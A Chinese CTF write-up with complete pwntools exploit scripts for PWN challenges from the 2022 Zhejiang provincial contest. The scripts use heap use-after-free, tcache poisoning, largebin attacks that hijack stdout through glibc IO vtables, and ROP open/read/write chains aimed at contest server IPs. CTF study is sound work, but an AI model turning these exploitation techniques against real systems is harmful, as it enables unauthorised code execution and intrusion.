[原创]【2022浙江省赛】PWN题部分题解
2022-9-29 23:43:0 Author: bbs.pediy.com(查看原文) 阅读量:23 收藏

​ 题目限制了add次数,只能add 7次,而且delet存在UAF占位 考虑UAF修改tcache chunk的key,使得无限free同一堆块填满tcache 溢出到UB,然后UAF leak libc 最后 UAF tcache poison 改free_hook 为one_gadget getshell

发现连main函数入口都没有,简直逆不动(go语言的静态编译导致的elf本身就相当于c的libc,elf,ld等等的合集)
先简单测试一下,发现wsad分别对应了上下左右,输的话就可以直接走通迷宫:

(ps:gdb调试设置好set follow-fork-mode parent和set detach-on-fork on才能不会因为system或exec这类函数卡死)
而且这个二进制文件里面的gadget非常的齐活,直接打ORW就好

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

def up():

    r.sendline("w")

def down():

    r.sendline("s")

def right():

    r.sendline("d")

def exp():

    global

    global libc

    r=process('./pwn')

    for i in range(5):

        down()

    for i in range(3):

        right()

    for i in range(3):

        up()

    for i in range(3):

        right()

    up()

    right()

    up()

    up()

    pop_rdi_ret = 0x4008f6

    pop_rsi_ret = 0x40416f

    pop_rdx_ret = 0x51d4b6

    pop_rax_ret = 0x400a4f

    syscall = 0x4025ab

    leave_ret = 0x4015cb

    bss = 0xAD1600+0x500

    pd1 = flat(

    pop_rax_ret , 0 , pop_rdi_ret , 0 , pop_rsi_ret , bss , pop_rdx_ret , 0x210 ,

    syscall , leave_ret

    )

    r.sendlineafter("flag\x00",0x178*"a" + p64(bss) +  pd1)

    flag_addr = bss + 0x200

    pd=flat( 0 , pop_rax_ret , 2 , pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , pop_rdx_ret , 0 ,

    syscall , pop_rax_ret , 0 , pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_ret , 0x210 ,

    syscall ,pop_rax_ret , 1 , pop_rdi_ret , 1 , pop_rsi_ret , flag_addr , pop_rdx_ret , 0x210 ,

    syscall , 0xdeadbeef

    ).ljust(0x200,"a")+"./flag\x00"

    r.sendline(pd)

    r.interactive()

想到了pig,但是pig打ORW有点不太好打,但是基本能确定large bin attack了
attack啥呢?我一开始先试试打top_chunk,但是不行,原因是attack最后有一个add大堆块的操作,这个操作会使得top_chunk的地址抬高,覆盖,没办法触发kiwi的链子。于是我现找了一个链子——puts的stdout(真是比赛现找的):

如果largebin attack劫持stdout为chunk P,并且满足P的pre_size为0x8000(这个可以用空间复用实现),最后rdi就会赋值为P的堆地址。再看看接下来的流程:

发现这个流程和flash_all_lock_up长得只有那么像了,当rdi+0x30,也就是堆地址+0xc0的位置为0并且堆地址+0xd8(vtable)的位置符合IO的虚表的地址范围,就会跳vtable+0x38的函数
常用的跳表有三种,pig的IO_str_jumps、emma的IO_cookie_jumps以及apple的IO_wfile_jumps。但是apple当时不会,pig被排除,所以只能试试cookie_jumps,还真成了,在结束前30分钟本地通了。但是。。。这个B玩意要扬fs:0x30,fs就牵扯到ld表,这个玩意本地和远程偏移太不一样了,导致痛失300分

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

from platform import libc_ver

from pwn import *

from hashlib import sha256

import base64

context.log_level='debug'

context.arch = 'amd64'

context.os = 'linux'

rol = lambda val, r_bits, max_bits: \

(val << r_bits%max_bits) & (2**max_bits-1) | \

((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

ror = lambda val, r_bits, max_bits: \

((val & (2**max_bits-1)) >> r_bits%max_bits) | \

(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

def proof_of_work(sh):

    sh.recvuntil(" == ")

    cipher = sh.recvline().strip().decode("utf8")

    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')

    sh.sendlineafter("input your ????>", proof)

def z():

    gdb.attach(r)

def cho(num):

    r.sendlineafter(">>",str(num))

def add(sz,con):

    cho(1)

    r.sendlineafter("Size:",str(sz))

    r.sendafter("content",con)

def delet(idx):

    cho(2)

    r.sendlineafter("idx:",str(idx))

def edit(idx,con):

    cho(3)

    r.sendlineafter("idx",str(idx))

    r.sendafter("Content",con)

def show(idx):

    cho(4)

    r.sendlineafter("idx",str(idx))

def exp(x):

    global

    global libc

    r=remote("1.14.97.218",23023)

    libc=ELF("./libc.so.6")

    add(0x418,"nameless")

    add(0x410,"nameless")

    add(0x410,"ymnhymnh")

    add(0x420,"x1ngx1ng")

    add(0x420,"nameless")

    delet(3)

    show(3)

    r.recvuntil("\n")

    libcbase=u64(r.recv(6).ljust(8,"\x00"))-0x1f2cc0

    log.success("libcbase:"+hex(libcbase))

    add(0x430,"nameless")

    l_main=0x1f30b0+libcbase

    free_hook=libcbase+libc.sym["__free_hook"]

    stdout=libcbase+libc.sym["stdout"]

    IO_str_jumps=libcbase+0x1f3b58-0x38

    fsbase=libcbase-0x28c0+x

    godget=libcbase+0x146020

    setcontext=libcbase+0x50bc0

    edit(3,"x1ngx1ng"+"nameless")

    show(3)

    r.recvuntil("nameless")

    heapbase=u64(r.recv(6).ljust(8,"\x00"))-0xef0

    log.success("heapbase:"+hex(heapbase))

    key=heapbase+0x6b0

    chunk1=heapbase+0x6b0

    chunk2=heapbase+0xef0

    open_addr=libcbase+libc.sym['open']

    read_addr=libcbase+libc.sym['read']

    write_addr=libcbase+libc.sym['write']

    pop_rdi_ret=libcbase+0x2daa2

    pop_rsi_ret=libcbase+0x37c0a

    pop_rdx_pop_rbx_ret=libcbase+0x87729

    ret=libcbase+0xecd6c

    flag_addr = key + 0x310

    chain = flat(

    pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,

    pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,

    pop_rdi_ret , 1 , pop_rsi_ret, flag_addr , pop_rdx_pop_rbx_ret, 0x100 , 0 ,write_addr

    ).ljust(0x100,'\x00') + './flag\x00'

    edit(3,p64(l_main)*2+p64(heapbase+0xef0)+p64(fsbase+0x30-0x20))

    delet(1)

    add(0x430,"nameless")

    edit(3,p64(chunk1)+p64(l_main)+p64(chunk1)*2)

    edit(1,p64(l_main)+p64(chunk2)*3)

    add(0x410,"nameless")

    edit(3,p64(l_main)*2+p64(heapbase+0xef0)+p64(stdout-0x20))

    pd=0xb0*'a'+p64(0)

    pd=pd.ljust(0xc8,'a')+p64(IO_str_jumps)

    pd=pd.ljust(0xd0,"a")+p64(key+0x100)

    pd=pd.ljust(0xe0,"a")+p64(rol(key ^ godget,0x11,64))

    pd=pd.ljust(0xf8,"a")+p64(key+0x130)

    pd=pd.ljust(0x140,"a")+p64(setcontext+61)

    pd=pd.ljust(0x1c0,"a")+p64(key+0x210)+p64(ret)

    pd=pd.ljust(0x200,"a")+chain

    edit(7,pd)

    delet(7)

    edit(0,0x410*"a"+p64(0x8000))

    cho(1)

    r.sendlineafter("Size:",str(0x430))

    flag="flag{"+r.recvuntil("\x00",drop=True)

    print(flag)

    r.interactive()

if __name__ == '__main__':

    while(1):

        i = -0x1000

        if i == 0x1000 :

           break

        else :

           try :

               exp(i)

           except:

               continue 

第二种是起一个有pwndbg的docker,把题目环境加载进去然后gdb fsbase获取偏移。这个起环境在github上有一个叫PWNdockerAll的项目,是pig007大佬写的,笔者在使用2204的过程中遇到了一点问题,自己鼓捣将install.sh稍作修改,使得它能够支持目前最新的2204版本(pig007大佬写的时候是2.34的2204,不兼容主要是因为python3.10的模块引用问题,那个时候python3.10好像还没出),现也在github上开源:

kiwi触发->malloc_assert->fxprintf->vfxprintf->locked_vfxprintf->vfprintf_internal->apple

假定相邻堆块chunk1和chunk2,chunk2和top_chunk相邻。设定chunk1为0x430大小(题目大小),然后free进UB。add0x410,切割chunk1然后free chunk2,这时候,chunk1就和top_chunk相邻了,而且是0x420大小。由于我们数组存的是0x430大小,所以在edit的时候成功溢出0x10字节。可以改top_chunk的size打kiwi

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

from platform import libc_ver

from pwn import *

from hashlib import sha256

import base64

context.log_level='debug'

context.arch = 'amd64'

context.os = 'linux'

rol = lambda val, r_bits, max_bits: \

(val << r_bits%max_bits) & (2**max_bits-1) | \

((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

ror = lambda val, r_bits, max_bits: \

((val & (2**max_bits-1)) >> r_bits%max_bits) | \

(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

def proof_of_work(sh):

    sh.recvuntil(" == ")

    cipher = sh.recvline().strip().decode("utf8")

    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')

    sh.sendlineafter("input your ????>", proof)

def z():

    gdb.attach(r)

def cho(num):

    r.sendlineafter(">>",str(num))

def add(sz,con):

    cho(1)

    r.sendlineafter("Size:",str(sz))

    r.sendafter("content",con)

def delet(idx):

    cho(2)

    r.sendlineafter("idx:",str(idx))

def edit(idx,con):

    cho(3)

    r.sendlineafter("idx",str(idx))

    r.sendafter("Content",con)

def show(idx):

    cho(4)

    r.sendlineafter("idx",str(idx))

def exp():

    global

    global libc

    r=remote("124.222.96.143",10050)

    libc=ELF("./libc.so.6")

    add(0x418,"nameless")

    add(0x410,"nameless")

    add(0x410,"ymnhymnh")

    add(0x420,"x1ngx1ng")

    add(0x420,"nameless")

    delet(3)

    show(3)

    r.recvuntil("\n")

    libcbase=u64(r.recv(6).ljust(8,"\x00"))-0x219ce0

    log.success("libcbase:"+hex(libcbase))

    add(0x430,"nameless")

    l_main=0x219ce0+libcbase

    free_hook=libcbase+libc.sym["__free_hook"]

    stdout=libcbase+libc.sym["stdout"]

    IO_wfile_jumps=libcbase+0x2160c0-0x20

    fsbase=libcbase-0x28c0

    godget=libcbase+0x1675b0

    setcontext=libcbase+0x53a30

    edit(3,"x1ngx1ng"+"nameless")

    show(3)

    r.recvuntil("nameless")

    heapbase=u64(r.recv(6).ljust(8,"\x00"))-0xef0

    log.success("heapbase:"+hex(heapbase))

    key=heapbase+0x6b0

    chunk1=heapbase+0x6b0

    chunk2=heapbase+0xef0

    open_addr=libcbase+libc.sym['open']

    read_addr=libcbase+libc.sym['read']

    write_addr=libcbase+libc.sym['write']

    pop_rdi_ret=libcbase+0x2a3e5

    pop_rsi_ret=libcbase+0x2be51

    pop_rdx_pop_rbx_ret=libcbase+0x90529

    ret=libcbase+0xf90e1

    flag_addr = key + 0x300

    chain = flat(

    pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,

    pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,

    pop_rdi_ret , 1 , pop_rsi_ret, flag_addr , pop_rdx_pop_rbx_ret, 0x100 , 0 ,write_addr

    ).ljust(0x100,'\x00') + './flag\x00'

    edit(3,p64(l_main)*2+p64(heapbase+0xef0)+p64(stdout-0x20))

    pd=''

    pd=pd.ljust(0x90,"\x00")+p64(key+0xa0)

    pd=pd.ljust(0xb0,'\x00')+p64(0)

    pd=pd.ljust(0xc8,'\x00')+p64(IO_wfile_jumps)

    pd=pd.ljust(0x130,'\x00')+p64(key+0x200)+p64(ret)

    pd=pd.ljust(0x170,'\x00')+p64(key+0x180)

    pd=pd.ljust(0x1d8,'\x00')+p64(setcontext+61)

    pd=pd.ljust(0x1f0,'\x00')+chain

    edit(1,pd)

    delet(1)

    edit(0,0x410*"a"+p64(0x8000))

    cho(1)

    r.sendlineafter("Size:",str(0x430))

    r.interactive()

if __name__ == '__main__':

    exp()


文章来源: https://bbs.pediy.com/thread-274580.htm
如有侵权请联系:admin#unsafe.sh